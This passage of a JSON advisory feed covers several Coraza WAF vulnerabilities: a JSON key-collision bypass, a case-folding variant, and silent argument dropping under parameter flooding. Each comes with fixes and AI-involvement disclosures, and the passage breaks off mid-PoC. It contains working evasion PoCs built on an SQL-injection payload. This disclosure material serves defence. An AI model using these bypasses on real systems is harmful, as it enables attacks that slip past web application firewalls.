property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1' OR '1'='1\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1' OR '1'='1\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1' OR '1'='1\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(\u0026backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1' OR '1'='1\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=\u0026types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:45:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2","https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf","https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a","https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-5gj4-9gm7-2fx2"],"source_kind":"github","identifiers":["GHSA-5gj4-9gm7-2fx2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.780Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2o0LTlnbTctMmZ4Ms4AB8F5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z2o0LTlnbTctMmZ4Ms4AB8F5","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2o0LTlnbTctMmZ4Ms4AB8F5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cjNxLW1qdjcteHI4bc4AB7zi","url":"https://github.com/advisories/GHSA-6r3q-mjv7-xr8m","title":"Coraza: Silent argument drop at ArgumentLimit allows bypass of ARGS-targeted rules via parameter flooding","description":"## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 770–808 (since commit 2fd87b89, PR #812, 2023-06-14)\n\n```go\nfunc (tx *Transaction) AddGetRequestArgument(key string, value string) {\n    if tx.checkArgumentLimit(tx.variables.argsGet) {\n        tx.debugLogger.Warn().Msg(\"skipping get request argument, over limit\")\n        return\n    }\n    tx.variables.argsGet.Add(key, value)\n}\n\nfunc (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {\n    return c.Len() \u003e= tx.WAF.ArgumentLimit\n}\n```\n\n`AddGetRequestArgument`, `AddPostRequestArgument`, and `AddPathRequestArgument` silently `return` once the per-collection argument count reaches `WAF.ArgumentLimit` (default `1000`, see `internal/corazawaf/waf.go:346`). No error variable is set, no transaction flag is raised, and no rule can observe that a drop occurred.\n\nWorse, `ExtractGetArguments` (`transaction.go:761`) iterates the `map[string][]string` returned by `urlutil.ParseQuery`:\n\n```go\nfunc (tx *Transaction) ExtractGetArguments(uri string) {\n    data := urlutil.ParseQuery(uri, '\u0026')\n    for k, vs := range data {        // Go map iteration order is randomized\n        for _, v := range vs {\n            tx.AddGetRequestArgument(k, v)\n        }\n    }\n}\n```\n\nBecause Go randomizes map iteration order, which of the caller-supplied arguments survive the limit is non-deterministic. An attacker can pad the URI with filler arguments; any one of them — including the malicious payload — may be the one silently discarded, and therefore invisible to every `SecRule` targeting `ARGS`, `ARGS_GET`, or `ARGS_NAMES`.\n\n### Secondary finding — POST urlencoded processor bypasses the cap entirely\n\n`internal/bodyprocessors/urlencoded.go:29` populates `ARGS_POST` without invoking `checkArgumentLimit`:\n\n```go\nvalues := urlutil.ParseQuery(b, '\u0026')\nargsCol := v.ArgsPost()\nfor k, vs := range values {\n    argsCol.Set(k, vs)            // direct write, no limit check\n}\n```\n\nSo `AddPostRequestArgument`'s cap is effectively dead code for real urlencoded bodies. `ARGS_POST` grows unbounded — both a bypass surface and a memory-DoS surface.\n\n## Impact\n\nAny `SecRule` or CRS rule that inspects `ARGS`, `ARGS_GET`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `ARGS_PATH` can be evaded by inflating the request's argument count past `SecArgumentsLimit` (default `1000`). The bypass probability per request scales with overflow:\n\n| Total args in request | Observed bypass rate of ARGS rule |\n|---|---|\n| 1000 (at limit) | 0 / 50 (0.0%) |\n| 1001 (1 over) | 0 / 2000 (\u003c 0.1%) |\n| 1100 (100 over) | 45 / 500 (9.0%) |\n| 2000 (1000 over) | 106 / 200 (53.0%) |\n| 10000 (10× limit) | 47 / 50 (94.0%) |\n\nThe rate matches the theoretical model `(N − limit) / N`. An attacker flooding with 10000 arguments lands a bypass on ~94% of requests; one failed attempt costs them nothing, so a handful of retries yields a near-certain evasion against any ARGS-targeted rule, including the OWASP CRS SQLi, XSS, RCE, and LFI detection families.\n\nThe issue is silent — operators see no audit-log entry, no error, and no `MULTIPART_STRICT_ERROR`-style flag variable, because none exists.\n\n## Proof of Concept\n\nStart a Coraza-wrapped HTTP server with a trivial ARGS rule:\n\n```conf\nSecRuleEngine On\nSecRule ARGS \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:2,deny,status:403,msg:'Attack detected'\"\n```\n\nBaseline sanity checks pass:\n\n```\n$ curl -s -o /dev/null -w '%{http_code}\\n' 'http://127.0.0.1:8090/?evil=ATTACK_HERE_XYZ'\n403\n```\n\nNow pad the URI with 9999 filler parameters and one malicious parameter placed at a random offset. Running 50 such trials against a real HTTP listener with real `curl`:\n\n```\n=== 10000 args (attacker adds 9999 filler parameters) ===\ntotal_args=10000 trials=50 BLOCKED=3 BYPASS=47 (94.0%)\n```\n\n47 of 50 attack requests were served `HTTP 200` despite the payload being present in the URI. The defending rule never fired because Coraza discarded the argument before phase:2 evaluation.\n\n## Comparison with ModSecurity v3\n\nThe engine-level bug is present in ModSecurity v3 as well — `src/transaction.cc:282-291` has the equivalent silent-drop:\n\n```cpp\nbool Transaction::addArgument(...) {\n    if (m_rules-\u003em_argumentsLimit.m_set\n            \u0026\u0026 m_variableArgs.size() \u003e= m_rules-\u003em_argumentsLimit.m_value) {\n        ms_dbg(4, \"Skipping request argument, over limit (...)\")\n        return false;                    // return value is ignored at the GET callsite\n    }\n    ...\n}\n```\n\nModSecurity is in fact *more deterministic* than Coraza — its query-string parser (`extractArguments`, `transaction.cc:254`) splits with an ordered `ssplit`, so it is the *tail* of the query that silently drops. An attacker places the payload first and pads the tail; no retry loop needed.\n\n**However, ModSecurity's default configuration papers over the engine bug.** `modsecurity.conf-recommended` ships:\n\n```conf\nSecArgumentsLimit 1000\n\n# If SecArgumentsLimit has been set, you probably want to reject any\n# request body that has only been partly parsed. The value used in this\n# rule should match what was used with SecArgumentsLimit\nSecRule \u0026ARGS \"@ge 1000\" \\\n    \"id:'200007',phase:2,t:none,log,deny,status:400,msg:'Failed to fully parse request body due to large argument count',severity:2\"\n```\n\nBecause `addArgument` caps the single `m_variableArgs` collection at exactly the limit, `\u0026ARGS == limit` iff the limit was hit — rule 200007 converts silent-drop into explicit `HTTP 400`. ModSecurity also has a complementary `REQBODY_ERROR` path: its JSON processor cancels parsing on `addArgument` failure, and rule 200002 denies on `REQBODY_ERROR` (verified by `test/test-cases/regression/secargumentslimit.json`, test 2/2).\n\n**Coraza's `coraza.conf-recommended` ships no equivalent rule.** That is what makes the bug exploitable out-of-the-box in Coraza and not in ModSecurity.\n\n| | Silent-drop at engine | Compensating default rule | Exploitable out-of-the-box |\n|---|---|---|---|\n| ModSecurity v3 | yes | **yes** (`id:200007`, `\u0026ARGS @ge 1000`) | no — denies at limit |\n| Coraza v3 | yes | no | **yes** |\n\n## Mitigation\n\nRecommended fixes, in the order they should be applied. Config-layer (#1) closes the default-install exposure quickly; engine-layer (#2, #3) is the durable fix.\n\n### 1. Ship compensating rules in `coraza.conf-recommended` (config-layer, immediate)\n\nPort the ModSecurity guard, but **keyed per-collection** — Coraza caps `ARGS_GET`, `ARGS_POST`, and `ARGS_PATH` independently, unlike ModSecurity's unified `m_variableArgs`. A single `\u0026ARGS @ge 1000` check on the concatenated collection would false-positive at e.g. GET=500 + POST=500 (no drops occurred but aggregate == 1000):\n\n```conf\nSecRule \u0026ARGS_GET  \"@ge 1000\" \\\n    \"id:200007,phase:2,t:none,log,deny,status:400,msg:'ARGS_GET over SecArgumentsLimit; request partially parsed'\"\nSecRule \u0026ARGS_POST \"@ge 1000\" \\\n    \"id:200008,phase:2,t:none,log,deny,status:400,msg:'ARGS_POST over SecArgumentsLimit; request partially parsed'\"\nSecRule \u0026ARGS_PATH \"@ge 1000\" \\\n    \"id:200009,phase:2,t:none,log,deny,status:400,msg:'ARGS_PATH over SecArgumentsLimit; request partially parsed'\"\n```\n\nBoth `\u0026VAR` (variable count, `internal/seclang/rule_parser.go:40`) and `@ge` (`internal/operators/testdata/ge.json`) are supported. Thresholds must track `SecArgumentsLimit` if the operator overrides it.\n\n### 2. Expose a transaction-visible flag (engine-layer, durable)\n\nIntroduce an `ARGUMENTS_LIMIT_REACHED` collection variable, analogous to `MULTIPART_STRICT_ERROR` and `URLENCODED_ERROR`, set to `1` by `AddGetRequestArgument` / `AddPostRequestArgument` / `AddPathRequestArgument` whenever they drop. Replace the config rules above with a single engine-backed check:\n\n```conf\nSecRule ARGUMENTS_LIMIT_REACHED \"@eq 1\" \\\n    \"id:200006,phase:1,t:none,log,deny,status:413,msg:'Argument limit reached; request rejected'\"\n```\n\nThis protects operators with hand-rolled configurations, not just those who use the recommended file.\n\n### 3. Close the POST urlencoded body-processor gap\n\n`internal/bodyprocessors/urlencoded.go` should route through `AddPostRequestArgument` (or invoke `checkArgumentLimit` explicitly) so the cap is actually enforced for urlencoded request bodies. Currently a 10000-arg POST body populates `ARGS_POST` in full, regardless of `SecArgumentsLimit`.\n\n### 4. Make `ExtractGetArguments` order-deterministic\n\nReplace the `urlutil.ParseQuery → map → range` pattern with an ordered slice-based parse. Combined with #2, this means when the limit is hit the outcome is at least deterministic (fail-closed via the flag) rather than a probabilistic game.\n\n## Affected versions\n\nAll releases since `v3.0.0` that ship the `SecArgumentsLimit` directive (introduced in PR #812, commit `2fd87b89`, June 2023). Confirmed reproducible on `main` at commit `599ae64a` with default configuration.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 770–808\n- `internal/corazawaf/waf.go` line 346 (`ArgumentLimit: 1000`)\n- `internal/bodyprocessors/urlencoded.go` line 29 (POST-side gap)\n- `internal/seclang/rule_parser.go:40` (`\u0026VAR` count syntax)\n- `internal/collections/concat_test.go:20` (`ARGS` as `ConcatCollection` of `ARGS_GET`/`ARGS_POST`/`ARGS_PATH`)\n- PR #812 — introduction of `SecArgumentsLimit`\n- ModSecurity v3 `src/transaction.cc:282-291` (same silent-drop)\n- ModSecurity v3 `modsecurity.conf-recommended` rule `id:200007` (compensating config-layer deny)\n\n\n## Resolution (2026-07-28)\n\nFixed in https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/1, implementing all four mitigation steps above, plus additional gaps found while verifying the fix (see below):\n\n1. **Compensating `coraza.conf-recommended` rules** — shipped as `ARGUMENTS_LIMIT_REACHED`-based rules (`id:200004`/`200005`, phase:1 for GET/PATH and phase:2 for POST), per-flag rather than the originally-sketched per-collection `\u0026ARGS_GET`/`\u0026ARGS_POST`/`\u0026ARGS_PATH` counts, since the flag (below) already distinguishes GET/PATH-time drops from POST-time drops without needing separate threshold rules per collection.\n2. **`ARGUMENTS_LIMIT_REACHED` transaction variable** — added, set by every argument-adding path that can drop: `AddGetRequestArgument`, `AddPostRequestArgument`, `AddPathRequestArgument`, `AddResponseArgument`, the urlencoded body processor, and (see below) the JSON body processor and the query-string/urlencoded parser itself.\n3. **`internal/bodyprocessors/urlencoded.go` now enforces the limit** — threads `ArgumentLimit` through `BodyProcessorOptions` into the body processor, closing the POST-side gap.\n4. **`ExtractGetArguments` is now order-deterministic** — via `ParseQueryOrdered`, so when the limit is hit the tail is dropped predictably instead of a randomized subset.\n\n### Additional gaps found while verifying the fix (folded into the same PR)\n\nWhile confirming this fix actually closed the class of bug, three more instances of the same underlying \"argument limit isn't really enforced\" problem turned up, overlapping with an independently-reported advisory, **GHSA-3ww9-vw83-9w5x** (JSON/urlencoded body processors ignore SecArgumentsLimit, enabling memory-exhaustion DoS):\n\n- **The JSON body processor had zero enforcement at all** (GHSA-3ww9's actual reported bug, with a working PoC: a small body decoding to a wide flat JSON array like `[1,1,1,...]` expanded into millions of `ARGS_POST` entries, exhausting memory on a single request). `readJSON`/`readItems` now stop flattening once `ArgumentLimit` entries are collected, for both request (`ARGS_POST`) and response (`RESPONSE_ARGS`) bodies — response previously received an empty `BodyProcessorOptions{}` with no limit at all.\n- **`ParseQuery`/`ParseQueryOrdered` built their entire result before any caller-side cap ran.** Even after fixing (3)/(4) above, a query string or urlencoded body with millions of pairs still spent the memory during parsing itself, before any limit check downstream ever got a chance to run. Both now accept a `limit` and stop parsing immediately once reached.\n- **`checkArgumentLimit` (and `AddResponseArgument`'s equivalent) compared against `Len()`, which counts distinct keys, not total values.** `Map.Add` appends repeated-key values into the same map entry without growing it, so `a=1\u0026a=1\u0026a=1...` never tripped the limit no matter how large it grew — confirmed empirically: 1,000,000 repeats of `a=1\u0026` via the already-\"protected\" GET-argument path produced ~60MB of unbounded heap growth despite `SecArgumentsLimit 1000`. Added `Map.TotalValues()` (cheap even under this attack — it sums `len(slice)` per key, so cost is bounded by distinct keys present, not by how many values piled up under any single one of them) and switched both checks to use it.\n\nVerified before/after with heap measurements and direct parser unit tests (exactly `limit` entries returned regardless of a 1,000,000-entry adversarial input, for both repeated-key and distinct-key shapes). Full repo `go test ./... -race`, `go vet`, `gofmt`, `golangci-lint` all clean. `BenchmarkReadJSONArgumentLimit` shows the fix also cuts CPU time ~17x on a 100k-element flat array (741µs vs 12.5ms), since capped iteration stops early instead of walking the whole structure.\n\nGHSA-3ww9-vw83-9w5x's own description has been updated to point here rather than duplicating this fix in a second PR.\n\n## Follow-up (2026-09-30): byte-budget bypass in the array-length write path\n\nThe \"Resolution\" section above states that `readJSON`/`readItems` \"stop\nflattening once `ArgumentLimit` entries are collected\". That is true for\nevery per-leaf write, but not for the array-length summary entry written\nafter each `gjson.ForEach` call returns (`internal/bodyprocessors/json.go`,\nthe `if arrayLen \u003e 0` block). That write checked `argumentLimit` but never\n`byteBudget`:\n\n```go\nif arrayLen \u003e 0 {\n    if argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n        iterationTruncated = true\n    } else {\n        k := string(objKey)\n        lenStr := strconv.Itoa(arrayLen)\n        res[k] = append(res[k], lenStr)\n        *usedBytes += len(objKey) + len(lenStr)   // accounted for, but never checked against byteBudget first\n        *argCount++\n    }\n}\n```\n\n`objKey` (the full flattened path) grows by roughly a fixed amount per\nnesting level, while `argCount` grows by only one per level. That is exactly\nthe amplification `byteBudget` exists to bound (see `flattenBytesFactor`),\nbut only the per-leaf write inside the `ForEach` callback checks it before\nwriting; this post-`ForEach` write does not. A long property name nested\nunder many single-element arrays inflates memory far past the configured\nbyte budget while `argumentLimit` alone never trips, because each nesting\nlevel contributes only one argument, however long its path.\n\n### PoC\n\n```go\nconst keyLen = 